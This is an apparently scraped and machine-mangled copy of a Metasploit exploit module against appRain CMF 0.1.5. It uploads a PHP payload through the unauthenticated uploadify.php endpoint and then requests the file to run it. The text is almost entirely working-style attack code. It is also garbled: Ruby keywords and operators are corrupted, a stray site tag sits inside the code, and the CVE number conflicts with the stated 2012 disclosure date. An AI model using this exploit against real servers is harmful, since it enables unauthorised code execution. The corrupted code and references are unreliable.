AppRain CMF arbitrary PHP File Upload defect and repair

Require 'msf/core'
 

 
Class Metasploit3 <Msf: Exploit: Remote
 
Rank = ExcellentRanking
 

 
Include Msf: Exploit: Remote: HttpClient
 

 
Def initialize (info = {})
 
Super (update_info (info,
 
'Name' => "appRain CMF Arbitrary PHP File Upload Vulnerability ",
 
'Description' => % q {
 
This module exploits a vulnerability found in appRain's Content Management
 
Framework (CMF), version 0.1.5 or less. By abusing the uploadify. php file,
 
Malicious user can upload a file to the uploads/directory without any
 
Authentication, which results in arbitrary code execution.
 
},
 
'License '=> MSF_LICENSE,
 
'Author' =>
 
[
 
'Egix ', # Discovery, PoC
 
'Sinr3' # Metasploit
 
],
 
'References '=>
 
[
 
['Cve', '2017-2012 '],
 
['Ossvdb', '123'],
 
['Edb', '123']
 
],
 
'Payload' =>
 
{
 
'Badchars' => "\ x00"
 
},
 
'Defaultopexception' =>
 
{
 
'Exitfunction' => "none"
 
},
 
'Platform' => ['php'],
 
'Arch '=> ARCH_PHP,
 
'Targets' =>
 
[
 
['Apprain 0.1.5 or less ', {}]
 
],
 
'Privileged' => false,
 
'Disclosuredate' => "Jan 19 2012 ",
 
'Defaulttarget' => 0 ))
 
Www.2cto.com
 
Register_options (
 
[
 
OptString. new ('targeturi ', [true, 'the base path to apprain','/appRain-q-0.1.5 '])
 
], Self. class)
 
End
 

 
Def check
 
Uri = target_uri.path
 
Uri <'/' if uri [-1, 1]! = '/'
 

 
Res = send_request_cgi ({
 
'Method' => 'get ',
 
'Url' => "# {uri} addons/uploadify. php"
 
})
 

 
If res and res. code = 200 and res. body. empty?
 
Return Exploit: CheckCode: Detected
 
Else
 
Return Exploit: CheckCode: Safe
 
End
 
End
 

 
Def exploit
 
Uri = target_uri.path
 
Uri <'/' if uri [-1, 1]! = '/'
 

 
Peer = "# {rhost }:# {rport }"
 
Payload_name = Rex: Text. rand_text_alpha (rand (10) + 5) + '. php'
 

 
Post_data = "-- o0oOo0o \ r \ n"
 
Post_data <"Content-Disposition: form-data; name = \" Filedata \ "; filename = \" # {payload_name} \ "\ r \ n"
 
Post_data <"<? Php"
 
Post_data <payload. encoded
 
Post_data <"?> \ R \ n"
 
Post_data <"-- o0oOo0o \ r \ n"
 

 
Print_status ("# {peer}-Sending PHP payload (# {payload_name })")
 
Res = send_request_cgi ({
 
'Method' => 'post ',
 
'Url' => "# {uri} addons/uploadify. php ",
 
'Ctype '=> 'multipart/form-data; boundary = o0ooo0o ',
 
'Data' => post_data
 
})
 

 
# If the server returns 200 and the body contains our payload name,
 
# We assume we uploaded the malicious file successfully
 
If not res or res. code! = 200 or res. body !~ /# {Payload_name }/
 
Print_error ("# {peer}-I don't think the file was uploaded. Abort! ")
 
Return
 
End
 

 
Print_status ("# {peer}-Executing PHP payload (# {payload_name })")
 
# Execute our payload
 
Res = send_request_cgi ({
 
'Method' => 'get ',
 
'Url' => "# {uri} addons/uploadify/uploads/# {payload_name }"
 
})
 

 
# If we don't get a 200 when we request our malicious payload, we suspect
 
# We don't have a shell, either. Print the status code for debugging purposes.
 
If res and res. code! = 200
 
Print_status ("# {peer}-Server returns # {res. code. to_s }")
 
End
 
End
 
End